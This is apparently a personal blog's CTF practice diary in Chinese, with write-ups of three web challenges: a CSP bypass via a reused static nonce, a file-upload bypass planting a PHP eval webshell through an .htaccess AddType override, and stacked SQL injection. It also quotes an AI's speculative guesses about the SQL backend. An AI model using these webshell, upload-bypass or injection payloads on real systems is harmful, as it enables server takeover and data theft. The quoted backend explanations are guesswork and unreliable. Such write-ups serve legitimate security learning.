2025/11/29 我决定每天打卡几道题来积少成多
[AFCTF 2021]BABY_CSP
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>BABY CSP</title>
</head>
<body>
<a href='#' id="btn">whe3e are y0u fr0m?</a>
</body>
<script nonce=29de6fde0db5686d>
btn.onclick = () => {
location = './?school=' + encodeURIComponent(['CSU', 'JXNU', 'HEBNU', 'I don\'t konw :( '][Math.floor(4 * Math.random())]);
}
</script><p>I don't konw :( !</p></html>
这是题目的源码。页面内容为wewhe3e are y0u fr0m?按钮,按后会出现CSU,JXNU,HEBNU,idk之一
通过题目我们可以看到考察CSP,而题目通过GET方法获得school参数从而回显到屏幕上
注意到源码内包含了nonce(一次性令牌),说明脚本必须带这个令牌,否则CSP会阻止脚本执行。
那我们先来了解一下nonce
Nonce(Number Used Once)是一个在密码学、区块链和计算机安全中常用的术语,指一个仅使用一次的随机或伪随机数。 它的核心目的是确保每次操作或通信的唯一性,防止重放攻击(Replay Attack)或其他安全威胁。 在加密算法(如AES、SSL/TLS)或认证协议中,nonce作为临时令牌,确保每次加密的输入唯一,即使明文相同,生成的密文也不同。
先来尝试下URL传入/?school=<script>alert(1)</script>
题目只回显了一个感叹号,因为script标签没有正确的nonce所以被拦截了。
那我们传入事件型标签XSS/?school="><img src=x onerror=alert(1)>
回显中为 </script><p>"><img src=[x](http://node4.anna.nssctf.cn:28499/x) onerror=alert(1)>!</p></html>
并没有弹窗 说明我们的、
那就想能不能伪造nonce?看了半天发现人家这个nonce压根是没变的。。。。
所以构建payload
<script nonce="29de6fde0db5686d">alert(flag);</script>
出现flag
[GXYCTF 2019]BabyUpload
题目给了个上传界面,这种题的逻辑就是上传个木马上去然后来控制
写个一句话小马,命名为shell.php上传
<?php eval($_POST['cmd']); ?>
报告后缀名不能有ph!,那我们来试试什么格式才能上传
修改为jpeg之后发现可以报告的内容不一样了诶,别蒙我啊,这标志明显还是php啊
那我们换一个payload试试
@eval($_POST['cmd']);
发现可以上传/var/www/html/upload/13de67143aa52630e21851a1180b233b/sh.jpeg succesfully uploaded!
尝试一下能否直接连到我们的小马,连接不上
那就得伪造了,并且得让我们的木马被当作php文件来解析,就需要尝试来上传覆盖掉.htaccess文件(Apache目录配置文件)
直接传还传不上去,利用MIME伪造文件类型
然后连接后发现,文件被当作文本放出来了。
参考下别的wp,改用png伪造木马
修改配置文件为AddType application/x-httpd-php .png
构建payload
GIF89a
<script language='php'>
@eval($_POST["a"]);
show_source("/flag");
</script>
然后直接访问其上传地址即可看到flag
[SUCTF 2019]EasySQL
哇,参考了很多人的wp,远看成岭侧成峰,flag高低各不同
输入sleep,or,union等常见的sql语句,发现都被过滤掉了,回显Nonono.
输入数字回显Array ( [0] => 1 ),字母无回显
可以用1;show databases;来看到数据库
Array ( [0] => 1 ) Array ( [0] => ctf ) Array ( [0] => ctftraining ) Array ( [0] => information_schema ) Array ( [0] => mysql ) Array ( [0] => performance_schema ) Array ( [0] => test )
1;show tables;可以看到表名
Array ( [0] => 1 ) Array ( [0] => Flag )
构建payload*,1,得到回显Array ( [0] => flag{fafb0156-ad41-47ab-96e1-5db21ec84a6b} [1] => 1 )
这个payload后端实际变成SELECT *,1 FROM Flag
但是只用*就没有回显。那只能猜测这是后端的小判断,这里参考下AI的答案
你的现象
- 输入
1页面会回显- 输入
\*页面没有回显- 输入
\*,1页面回显 flag 和 1
为什么?
1. 输入 1
你的输入变成 SQL:
SQL
SELECT 1 FROM Flag
- 查询的是常量
1,对每一行都返回一个1- Flag表如果有很多行,PHP会把每行的
1输出出来- 回显的是常量,不是 flag,但确实有结果返回
- 这说明只要结果集有内容,后端就会做回显
2. 输入 *
SQL:
SQL
SELECT * FROM Flag
- 查询所有字段(如果Flag表只有一行,只有flag字段)
- 理论上应该回显 flag
- 但实际上页面没有回显,可能PHP处理
fetch_array结果时只输出数字下标、或者因为没有多个字段不执行输出逻辑3. 输入 *,1
SQL:
SQL
SELECT *,1 FROM Flag
查询所有字段(flag),再加一个字段常量1
得到的数据是:
Code
Array( [0] => flag内容 [1]=>1)回显 flag内容和1,因为结果有多列
可能的PHP后端逻辑
方案一:数组长度判断
PHP
$row = mysqli_fetch_array($result); if(count($row) > 1){ foreach($row as $val) echo $val; }
- 所以只有>1的列才输出(
*,1时有2列)方案二:只输出数字型下标
PHP
$row = mysqli_fetch_array($result); for($i=0;$i<count($row);$i++) echo $row[$i];
- 单独
*时行可能用的是字符串下标,PHP没输出*,1时数字下标都有值方案三:某种特殊模板导致只有常量列默认输出
为什么输入1会有回显
因为:
- 查询返回的是常量字段
- PHP写法默认输出所有返回列
- 不是输出flag,还是让你看到有数据
总结分析
- 你能用
1和*,1回显,说明数据有结果就回显,不管是不是字段还是常量*没回显可能是PHP读flag字段用的是字符串下标,需要数字下标才输出结果- 用
*,1可以强制让PHP的结果集有数字下标,被脚本输出
一句话总结
输入
1会回显,是因为SQL的常量结果集让PHP代码捕获到内容;只有*,1能出 flag,是因为flag字段内容也用数字下标输出,单*没起作用是后端代码数据结构原因。
下次再见!
Comments